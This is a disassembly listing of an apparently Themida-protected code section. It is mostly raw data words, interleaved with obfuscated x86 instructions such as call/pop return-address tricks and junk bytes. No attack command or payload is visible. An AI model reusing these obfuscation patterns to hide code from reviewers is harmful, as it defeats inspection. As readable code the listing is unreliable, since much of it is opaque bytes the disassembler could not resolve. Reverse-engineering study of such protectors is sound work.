dd 8D890000h, 7A832C5h, 3830Fh, 0E7800000h, 4D8D8D31h
dd 6A07A84Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 0FB22C355h, 0AF33BB3Dh, 0E1FF7692h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 65C35242h
dd 3D59ABDFh, 0A469AAD8h, 2965BD8Bh, 0BD8307A8h, 7A80939h
dd 61840F00h, 0E8000004h, 10h, 0D3131E94h, 6B84F43Ch, 0BB227627h
dd 0E6029C14h, 5B5B5750h, 39BD835Fh, 107A809h, 455840Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 61A3DCC3h, 939BD83h, 0F0307A8h, 3F486h, 0D98B6600h
dd 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 0C5A13782h, 0A19D8BF8h, 6607A810h, 0C381D98Ch
dd 6ABFA0AEh, 6840Fh, 9D030000h, 7A82A8Dh, 6A04E180h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 32BCC356h, 0E8FB7333h, 11h, 39B54323h, 7F84B43h, 642B7AE8h
dd 685121ADh, 0B5BF6645h, 0C90A5F25h, 140840Fh, 0BD8B0000h
dd 7A826C5h, 27A59D2Bh, 858B07A8h, 7A80BB1h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 75C35242h, 8B9AB52Ah
dd 7E8FAh, 0AA10000h, 0CEDF62F5h, 0AD9D2B88h, 5B07A80Ah
dd 8533F98Ah, 7A82871h, 9E1BD8Bh, 0B70F07A8h, 0E96090FEh
dd 13h, 1D1370E4h, 37BBA32Eh, 78A57660h, 473E6F9Fh, 61D27B67h
dd 0E3BB6650h, 0CE990E7h, 70000000h, 97B99E9Ch, 7427491Bh
dd 6A525936h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 0EE903DE1h, 0E9EB6C86h, 10h, 0BAD96F7h
dd 0EEF97C55h, 0A3132E4Dh, 8652D54Eh, 0A017DC68h, 8B665250h
dd 34815FFAh, 0BF142324h, 1870F50h, 0F5000000h, 0B5BD8B56h
dd 5B07A826h, 53995FFh, 6A07A8h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 170BD7C3h, 145DB589h
dd 858907A8h, 7ABBB2Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 2CC35545h, 3BD38151h, 5F16BB42h, 1C4E9h
dd 0A63EBF00h, 858B2E92h, 7ABBB23h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 4C35141h, 0E50B9D47h, 9D8BFE03h
dd 7A814FDh, 56F38166h, 1800C7E9h, 0F000000h, 1184h, 0CE900h
dd 0C1A00000h, 3B6910Ch, 0FFA06581h, 9D8B71E0h, 7A80675h
dd 0BB27B58Bh, 11E907ABh, 75000000h, 59F9A1E3h, 210F2B43h
dd 0B93694A3h, 572B2BBFh, 434FBF66h, 0CCD858Bh, 6A07A8h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 61DCB0C3h, 8FD8085Bh, 9D8B37A5h, 7A834FDh, 0BD890689h
dd 7A807D5h, 0BB1858Bh, 8B6607A8h, 44689FEh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 3FC35040h, 3C24A44Bh
dd 8BB49F57h, 0A81A459Dh, 659D2307h, 8B07A815h, 0A82E6D9Dh
dd 52515007h, 34895B5Fh, 11E924h, 0A6910000h, 0F8C69AE9h
dd 1E3A2AF8h, 0A23A6639h, 0FFFC5D66h, 0ABBB23B5h, 0D3516807h
dd 7E8E131h, 12000000h, 5C5FDE05h, 815BF0D4h, 30AE2404h
dd 6A1EEDh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 4BF0CAC3h, 0BB66CD97h, 858D209Eh, 7ABBB2Bh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0F7C35343h
dd 0F48C641Ch, 0EE9D4h, 8A8E0000h, 0B1F39B5Bh, 0DAB35DA7h
dd 69D6C36Fh, 0F98B6690h, 90FA8B50h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 19h, 94C35343h, 9B098E16h, 95FFF8F9h
dd 7A80539h, 6085AFBFh, 6A6118h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 8EC0A2C3h, 0C3B70313h
dd 93985C7h, 307A8h, 0B70F0000h, 2BBD83FBh, 7ABBBh, 33840Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 0B93292C3h, 0E2CE9973h, 1D45BD09h, 21E907A8h
dd 81000000h, 0D8E54AC3h, 0C305025h, 11440011h, 10E8C101h
dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 19h, 70C35545h, 64E622Ah, 6D95899Eh, 6A07A835h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 66C9C351h, 83A446BBh, 0A80939BDh, 850F0307h
dd 38Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 53C35242h, 0D58CF388h, 6552BA98h, 0BB2BBD83h, 0F0007ABh
dd 35B84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1D04h, 0C3504000h, 0FBA76F7Eh, 0AEAE21C0h, 0B5FFB45Dh
dd 7ABBB2Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 9DC35747h, 0E568F153h, 3EBC7C42h, 7595FFF6h, 8B07A824h
dd 0ABBB1FB5h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1A04h, 0C3524200h, 0AA0DF537h, 8BF55B4Ch
dd 0C7FE8BFEh, 1000106h, 9D015700h, 7A82685h, 6E8965Fh
dd 66000000h, 0DC3FF262h, 880F5166h, 0
; ---------------------------------------------------------------------------
pop ebx
pop ebx
push eax
call sub_5D285E
db 26h
and edi, ebp
adc eax, 263377D5h
and eax, 5968A5A6h
dec esp
; =============== S U B R O U T I N E =======================================
sub_5D285E proc near ; CODE XREF: Themida_:005D284Bp
pop edi
xchg eax, esi
mov ebx, [ebp+7A81CE5h]
push dword ptr [ebp+7ABBB2Bh]
push 0
push edi
call sub_5D2877
and [edi-3Dh], bl
sub_5D285E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D2877 proc near ; CODE XREF: sub_5D285E+11p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5D2877 endp
; ---------------------------------------------------------------------------
db 15h
dd 84161AAEh, 81B7A7BDh, 23E595FFh, 8B6607A8h, 1FB58BD8h
dd 8B07ABBBh, 0A8294185h, 0EB816607h, 86897C61h, 0C4h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0A2C35343h
dd 5D117713h, 0BF0AB38Dh, 0FABF0FB2h, 1731958Bh, 858907A8h
dd 7A82C35h, 0F04C283h, 284h, 89D98B00h, 6A2050h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 816657C3h, 89223CEBh, 0A80CC9BDh, 0C1858D07h, 8907ABCFh
dd 0A8275195h, 0B8868907h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0D9BBC351h
dd 30BF869Fh, 66432BF8h, 8EE4C781h, 870F006Ah, 5, 847DE9BBh
dd 2BB5FF7Ch, 6A07ABBBh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 9A7AC352h, 25CD9D8Bh
dd 95FF07A8h, 7A814E5h, 1D4D8D29h, 0BD2B07A8h, 7A83165h
dd 50FA8B96h, 6A96F88Bh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 1FA0C352h, 13E9h, 55C85400h
dd 0DC0371Bh, 7A5F0C47h, 30378BC8h, 0D0A74EC5h, 0BB2BB5FFh
dd 6A07ABh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
dd 57470000h, 0CDFE2FC3h, 1697D7BBh, 995FF2Fh, 8B07A81Dh
dd 0FDBD83D9h, 7A81Dh, 27840Fh, 89560000h, 0A817ED8Dh
dd 0E9965B07h, 0Fh, 1D1A6F3Bh, 0E9A3E4AFh, 0A4B813FDh
dd 503A3D33h, 196C9B7h, 0A81B35BDh, 2BB5FF07h, 6A07ABBBh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 0D650C353h, 0BD8B8BA8h, 7A80495h, 10D595FFh
dd 6A07A8h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 8B6677C3h, 2BB5FFD8h, 3107ABBBh, 0A803D99Dh
dd 4DBD8B07h, 0FF07A804h, 0A80B3995h, 0CF816607h, 0BD8336C4h
dd 7A831F5h, 39840F02h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 816CC352h
dd 0C07292B8h, 8B88923Eh, 0A8342D9Dh, 81858B07h, 8107A829h
dd 0FA4AD8F7h, 0C62Ah, 21C985C7h, 7A8h, 95010000h, 7A80BEDh
dd 0FFF397E9h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 0F8C1DB9h, 0B81h, 870F6000h
dd 0
; ---------------------------------------------------------------------------
movsx ecx, dx
popa
mov eax, ecx
jmp loc_5D2B4D
; ---------------------------------------------------------------------------
db 50h
dd 1672C096h, 0A62D65ECh, 0FCC9CF3Dh, 37AB0DDCh
; ---------------------------------------------------------------------------
push eax
loc_5D2B4D: ; CODE XREF: Themida_:005D2B36j
lea eax, [ebp+7A80425h]
nop
push eax
nop
push edi
add edi, [ebp+7A82E41h]
pop edi
mov [ebp+7A834D1h], esi
push 0
sub [ebp+7A832B1h], edx
push 0
jmp loc_5D2B85
; ---------------------------------------------------------------------------
db 5Bh
dd 0ED597BC4h, 65903A1Ch, 24F3A009h, 6C929A9Dh
; ---------------------------------------------------------------------------
push edi
loc_5D2B85: ; CODE XREF: Themida_:005D2B6Ej
lea eax, [ebp+7AD1886h]
push 0
push eax
call sub_5D2B96
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D2B96 proc near ; CODE XREF: Themida_:005D2B8Ep
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5D2B96 endp
; ---------------------------------------------------------------------------
mov ebp, 0D4A839F8h
pushf
retn 291Bh
; ---------------------------------------------------------------------------
test [ecx], ebp
daa
test al, 7
add eax, 5
push 0
push esi
call sub_5D2BC2
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D2BC2 proc near ; CODE XREF: Themida_:005D2BBAp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
locret_5D2BD1: ; CODE XREF: Themida_:005D2BDDj
retn
sub_5D2BC2 endp
; ---------------------------------------------------------------------------
dw 0A7FEh
db 90h
; ---------------------------------------------------------------------------
push eax
pop ebx
push eax
jmp loc_5D2BE7
; ---------------------------------------------------------------------------
jnz short locret_5D2BD1
push 63CF57ECh
dec ebp
ror dword ptr [esi], 1
loc_5D2BE7: ; CODE XREF: Themida_:005D2BD8j
nop
adc bx, 0DBB3h
and edi, [ebp+7A80775h]
push 0
push 0
push eax
call sub_5D2C00
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D2C00 proc near ; CODE XREF: Themida_:005D2BF8p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5D2C00 endp
; ---------------------------------------------------------------------------
dd 9A3B1720h, 598D6C0h, 6A706Ch, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 7AC35040h, 66DC3AA0h, 4E28DB81h
dd 0AFD7C781h, 95FF2C3Eh, 7A81B39h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 8FC35040h, 0B5BD8B62h, 8D07A808h
dd 0AB9A3B8Dh, 0F19D2B07h, 0F07A826h, 68Eh, 0F2E78100h
dd 0FF5EE3E7h, 0A5BD83D1h, 107A806h, 59850Fh, 0E9600000h
dd 13h, 0CD804892h, 0C065C51h, 49C127CCh, 0FC33B55Dh, 6655846Eh
dd 40DEEF81h, 5880F61h, 0BF000000h, 2C0FCD89h, 0BD01026Ah
dd 7A80855h, 0FB8B6650h, 8B240489h, 0A80D359Dh, 0E595FF07h
dd 0E907A814h, 0Fh, 0B4037BE6h, 71AE3ADAh, 2114CEB3h, 0E98A11BAh
dd 0DB8h, 0E8h, 0ED815D00h, 7AD1890h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 68C35747h, 4966169Ch, 59A42E84h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E1C35242h
dd 3EAD5B24h, 8D8D3EF5h, 0AB8C0385h, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0F3327CF8h
dd 66ED32BEh, 0C33ACF81h, 25399D8Bh, 509007A8h, 66525052h
dd 0F9C7CBFh, 0F585A31h, 59516031h, 50585A61h, 50006A90h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 6C9FBF4Dh, 0E8602A72h, 0Dh, 71060B28h, 48CD819Bh, 8E6B8D85h
dd 59616044h, 2CD59D31h, 646107A8h, 35FFh, 9D8B0000h, 7A81981h
dd 258964h, 8B000000h, 0A835519Dh, 0E585FF07h, 0B707A80Eh
dd 6AFF6A39h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 23F2C353h, 47C17DE9h, 0B19D2970h
dd 0E907A824h, 11h, 38EF120Ch, 0CBB0BB8Eh, 428B7524h, 0A418932h
dd 0DDB5FF95h, 6A07A805h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1B042444h, 40000000h, 8FA1C350h, 0C76A5E74h
dd 8B6669C1h, 6D95FFDAh, 0E907A824h, 0FDh, 18B99D8Bh, 0B007A8h
dd 0E6DF8B66h, 7E970h, 2D030000h, 0B14E6724h, 8071E434h
dd 0B52906EFh, 7A81D01h, 830F613Ch, 0D1h, 2AA5BD8Bh, 0B60F07A8h
dd 299589C8h, 0BA07A806h, 6, 0E9C18BFCh, 0Fh, 48FB14Bh
dd 159B656Ah, 673768A3h, 0C180986Bh, 0BE804E8h, 22000000h
dd 134418Bh, 7C53B266h, 605278DFh, 665B5B61h, 9D8BE2F7h
dd 7A828C5h, 0D18BC82Bh, 7AE970B7h, 66000000h, 4ABBE381h
dd 4E49858Bh, 0F98B4400h, 0F907C083h, 8B00C083h, 0BF0F60DFh
dd 0D03B61FEh, 0B830Fh, 9D0B0000h, 7A8197Dh, 4CE9h, 0FF8D8B00h
dd 52FFFFFFh, 1AD58589h, 835B07A8h, 840F01E1h, 35h, 6880Fh
dd 0BD090000h, 7A81A7Dh, 0FFFFA583h, 89FEFFFFh, 0A804EDBDh
dd 49958907h, 0E944004Eh, 0Ch, 0B8AA7107h, 9ED2C775h, 8DC7A697h
dd 0E9h, 50B58D00h, 6A07AC91h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 0F842C350h, 0F98B39B4h
dd 2CA1F381h, 6A4517h, 18C19D8Bh, 853107A8h, 7A81389h
dd 0D2195FFh, 870F07A8h, 0Ch, 6810Fh, 8D290000h, 7A80859h
dd 1016B9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 17E81A00h, 0FCE18333h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0D0C35747h, 1974F04Dh
dd 0FCEBC69Fh, 10E8h, 4D2CB800h, 0C244FE14h, 0DE1D8333h
dd 3ABC9867h, 5FB3B3B0h, 0B8h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 5FDE0512h
dd 2BF0D45Ch, 2D9D89D2h, 3107A82Ah, 0A8272995h, 0C233AD07h
dd 0D003E8D1h, 7504E983h, 56006AF4h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0D15F096Ah
dd 0ADC59948h, 2D9D8978h, 2907A82Ah, 0A8147595h, 0BCBB6607h
dd 880D28h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 6275E5C3h, 7BF6F05Fh, 617DBFF3h
dd 958B7CCBh, 7A81731h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Dh, 4BC35747h, 55865982h, 0CB510289h, 0DF8B6677h
dd 0A598D8Bh, 8D8907A8h, 7A8263Dh, 8BC28B50h, 8BC10318h
dd 0D1C18B18h, 8BC203E8h, 8D895818h, 7A80335h, 1885BD83h
dd 0F0007A8h, 6984h, 9D8B5100h, 7A81859h, 0B85Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 22DF66C3h, 0ED18204Ah, 2952C465h, 0A81811BDh, 8D8D5F07h
dd 7A84E4Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 0A4C35141h, 10C7D3ECh, 0D2A96979h, 66E1FFE0h, 0BD83D88Bh
dd 7A80939h, 72840F00h, 83000004h, 0A80939BDh, 840F0107h
dd 480h, 34F59501h, 9D8B07A8h, 7A82671h, 939BD83h, 0F0307A8h
dd 43186h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 0E579947Ch, 0EF083899h, 6A607Eh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 0AFF9EFC3h, 5F096A80h, 519948D1h, 30C98589h, 665B07A8h
dd 0BE8D98Ch, 0F8000000h, 33821518h, 1B747AC3h, 8D899A74h
dd 7A81335h, 4E1805Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 6FC35141h, 9D2949FDh, 7A826C5h, 840FC90Ah
dd 1ACh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 0F1C35646h, 0CCC0F0B9h, 8D892EBBh, 7A81375h, 0BB1858Bh
dd 6A07A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
dd 52420000h, 0A04AA2C3h, 12E9B22Ah, 18000000h, 25E9C30h
dd 9E20A020h, 0A3B8E815h, 0F49F975Dh, 718533F9h, 8A07A828h
dd 9E890DAh, 0E2000000h, 0CC1A087h, 8103B691h, 0F98B5250h
dd 0FE9310Fh, 8000000h, 4817B7F1h, 9241C16Fh, 518C821h
dd 585A42ECh, 5250505Bh, 310F5250h, 7E8h, 470ECA00h, 7CAA1DB7h
dd 0F585A5Bh, 90585A31h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 83C35141h, 462EB6F2h, 8052CA05h, 6A5B65DBh
dd 81BF6600h, 0F99D89BBh, 0E807A82Dh, 4, 1F03FFh, 0F50FE8Bh
dd 82h, 24448B00h, 7E804h, 0AFFC0000h, 9CA8316Dh, 28A0F56h
dd 0B7000000h, 8B5FB2h, 8E8h, 9B87E300h, 4148A94Fh, 44895B5Bh
dd 0AE80424h, 0E000000h, 843825D8h, 16DFBAEFh, 5FF88BB7h
dd 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 0C3B3F489h, 852923FAh, 7A80E75h, 13619589h
dd 95FF07A8h, 7A80539h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 73C35141h, 0EF73C7BCh, 0BEBD45F3h, 1840Fh
dd 89FC0000h, 0ABBB2B85h, 41BF6607h, 1BAE9A9h, 85290000h
dd 7A8066Dh, 0BB23858Bh, 9D8907ABh, 7A80791h, 1081B589h
dd 0C707A8h, 18h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 0D2C35646h, 5E776A2Eh, 8B4DFD8Bh, 0A81B359Dh, 27B58B07h
dd 6007ABBBh, 14E9h, 4363C500h, 0BD71D075h, 3552EA32h
dd 6A576100h, 9E47AF76h, 858B6172h, 7A80CCDh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 67C35343h, 0A66D42FCh
dd 689BAFDh, 8BD88B66h, 0A80BB185h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 50D1B7DBh
dd 2FA99D8Bh, 468907A8h, 4BBF5004h, 897B544Bh, 6A2434h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 0FC3C1BC3h, 0C8D0Fh, 860F0000h, 6, 8F0Fh, 0B5FF0000h
dd 7ABBB23h, 626CBF66h, 87682DB7h, 6669A003h, 8141E5BFh
dd 782434h, 0BD8969BFh, 7A81449h, 0BB2B858Dh, 6A07ABh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 97B388C3h, 0CDBD0B65h, 5007A822h, 6A240489h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 3DAC352h, 0B7AB8D45h, 9D237B21h, 7A830E5h, 13E9h, 3DB40C00h
dd 512F0745h, 40B02ACEh, 0C2642ABAh, 4573A593h, 53995FFh
dd 6A07A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 0C65535C3h, 66241D61h, 8B8EDF81h, 85C7FC61h
dd 7A80939h, 3, 9B58B60h, 8107A810h, 92E198DAh, 0BD836136h
dd 7ABBB2Bh, 0F840F00h, 66000000h, 0E98F19BBh, 21h, 335B589h
dd 305007A8h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h
dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h
dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
dd 8B00EBE7h, 199D29C0h, 8B07A805h, 0A830CD9Dh, 39BD8307h
dd 307A809h, 403850Fh, 0BD8B0000h, 7A826B1h, 0BB2BBD83h
dd 0F0007ABh, 3F084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 0F96191Dh, 8B0A10E2h
dd 0A81879BDh, 2BB5FF07h, 6A07ABBBh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0D044C350h
dd 9C7216h, 0B1BD0B8Eh, 0FF07A827h, 0A8247595h, 50006A07h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 135B02FBh, 0BE94F5Eh, 0E9000000h, 85D1327Ah, 0F4BF3C4Ch
dd 0B58B22D9h, 7ABBB1Fh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 0F4C35040h, 0FED9D8Bh, 0E38107A8h, 3464D1EEh
dd 106C7h, 0E9570001h, 14h, 0A78C8511h, 0FD0EA0CEh, 902B5612h
dd 48D0B60Ch, 882EA02Eh, 0E1B3505Fh, 6A243489h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 0B852C353h, 0A254C84Dh, 0C381A170h, 26DC4295h, 0BB2BB5FFh
dd 95FF07ABh, 7A823E5h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 84C35646h, 834D3551h, 18CBE417h, 0BB1FB58Bh
dd 0D98B07ABh, 2941858Bh, 858907A8h, 7A83515h, 0C48689h
dd 0EF800000h, 31958B5Bh, 8907A817h, 0A80FF19Dh, 4C28307h
dd 2E45BD89h, 508907A8h, 52006A20h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 8B496616h, 0A82CF99Dh
dd 0C1858D07h, 6A07ABCFh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 2061C356h, 27915FC9h
dd 165DF0CCh, 6830Fh, 0BD310000h, 7A81E65h, 0B88689h, 6A0000h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 1AC35545h
dd 0AEBD3541h, 2BB5FF32h, 6A07ABBBh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 128FC351h
dd 89E71EC0h, 0FFDBBF0Fh, 0A814E595h, 50006A07h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 150450CBh, 9A9B9456h, 0DF8166A0h, 57967062h, 720ABB66h
dd 0F60505Fh, 0B88h, 6E900h, 0A03D0000h, 3C007A67h, 8B669661h
dd 2BB5FFDEh, 6A07ABBBh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 8960C357h, 0C027E5A7h
dd 66489E9Dh, 9589DE8Bh, 7A80911h, 1D0995FFh, 6A07A8h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 66060EC3h, 0BD83D98Bh, 7A81DFDh, 14840F00h, 8B000000h
dd 0ECBF96F9h, 50502AC8h, 5BFD8A57h, 7DF38196h, 0FF17460Ah
dd 0ABBB2BB5h, 95FFF507h, 7A810D5h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 19h, 38C35343h, 0F93E49F0h, 68F0F08h
dd 89000000h, 0A80E9D8Dh, 0FA8B6607h, 0BB2BB5FFh, 6A07ABh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 788B1BC3h, 0BD896095h, 7A817F1h, 1DC59529h, 0E86107A8h
dd 0Dh, 0F95BA0A1h, 0DACFF8C3h, 9B3493C3h, 119D8B7Ah, 5B07A809h
dd 0B3995FFh, 13E907A8h, 1D000000h, 69247F1Bh, 36AA0F6Eh
dd 0A5112F47h, 202D6759h, 0BD838AE5h, 7A831F5h, 16840F02h
dd 81000000h, 24ED2DEBh, 81858B27h, 0C607A829h, 81660000h
dd 8B04ACDBh, 0C985C7DAh, 7A821h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 0B281C352h, 57A862F4h, 0BE89Bh, 1DD80000h, 0E2309E55h
dd 0A65E189Bh, 0FBBF0FE8h, 0F393E95Bh, 6AFFFFh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 95894CC3h, 7A827E5h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 190424h, 53430000h, 38D2D1C3h, 0F2B881Bh
dd 382h, 0D9B70F00h, 425858Dh, 6A07A8h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 61939EC3h
dd 0FF883E0h, 0FEDBD8Bh, 665007A8h, 489DE8Bh, 52006A24h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 7CB40D07h, 0CF80A3AEh, 5E830h, 84FD0000h, 0E914A692h
dd 0Fh, 2C2DBBE1h, 2E14FDF0h, 0FE24FEF4h, 5BC39AD4h, 6A006Ah
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 0C1DC10C3h, 0BF0F91B0h, 19589FBh, 6A07A82Bh, 858DF500h
dd 7AD280Ch, 29A1BD89h, 0C08307A8h, 0C68A6005h, 0F9B58B60h
dd 3107A824h, 0A8216D95h, 90616107h, 0E95093B7h, 9, 23CE08C1h
dd 0DE8FABE5h, 6A9021h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 0BDD407C3h, 5D04D8F7h, 0C18B6660h
dd 11E9h, 10465300h, 99B9B82Eh, 0A5DE2B64h, 71F3710h, 6A61F0A9h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 597CB59Ch, 88056CE8h, 153D8589h, 8C0F07A8h
dd 13h, 0EE9h, 39CC9E00h, 0E6B4FFD4h, 0DC26287Dh, 6A7AA39Fh
dd 95FFFC00h, 7A81B39h
dd 1511BD8Bh, 8D8D07A8h, 7AB9A3Bh, 0FFF9B70Fh, 7D9D8BD1h
dd 8307A82Fh, 0A806A5BDh, 850F0107h, 41h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 18h, 0A6C35343h, 8EDC67D2h
dd 9C59D29h, 26A07A8h, 5059D8Bh, 8B6607A8h, 48950FBh, 0ABE38124h
dd 0FF020668h, 0A814E595h, 0DEDE907h, 0E80000h, 5D000000h
dd 2816ED81h, 0BB6607ADh, 6A6818h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1B0424h, 55450000h, 0E235E4C3h, 20D2E9AEh
